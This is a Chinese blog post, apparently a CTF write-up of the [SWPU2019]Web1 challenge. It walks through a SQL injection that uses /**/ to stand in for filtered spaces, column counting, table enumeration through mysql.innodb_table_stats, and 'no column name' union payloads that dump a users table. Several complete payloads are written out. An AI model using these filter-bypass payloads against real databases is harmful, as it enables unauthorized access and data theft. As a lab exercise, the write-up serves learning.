[SWPU2019]Web1

本文讲述了作者在Web1挑战中遇到的SQL注入难题,通过爆破、探测列数、构造payload,逐步揭示了无列名注入的概念,并分享了如何利用技巧绕过过滤,最终获取表名和数据的过程。

[SWPU2019]Web1

继续刷题,这道题有难度,(应该是我菜)
在这里插入图片描述发现是注册登录界面当时就想admin登录,爆破密码什么的,没有用,老老实实注册登陆进去在这里插入图片描述发现只有这些信息,申请发布广告里面在这里插入图片描述这个地方应该有问题,sql注入一下1’在这里插入图片描述回显这个,看一下详情在这里插入图片描述欸嘿,sql报错,看来有注入了,尝试注入一下,发现or,空格,报错注入的函数等都被过滤了,这咋搞?看看大佬的wp吧,嗯。。。。无列名注入?这是个啥?这篇文章讲得很清楚
嗯,知识点搞清楚了,方法也知道了,开整!
先来常规的爆字符列数,手动探测列数,这里探测到有22列,回显位为2和3,payload:-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'在这里插入图片描述查个表-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
在这里插入图片描述
表名知道了,开始设第二列别名为b:-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/b,3/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22这里不用数字是因为`被过滤了。
成功看到第二列的内容
在这里插入图片描述

设第三列别名为b
构造-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

在这里插入图片描述完成。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值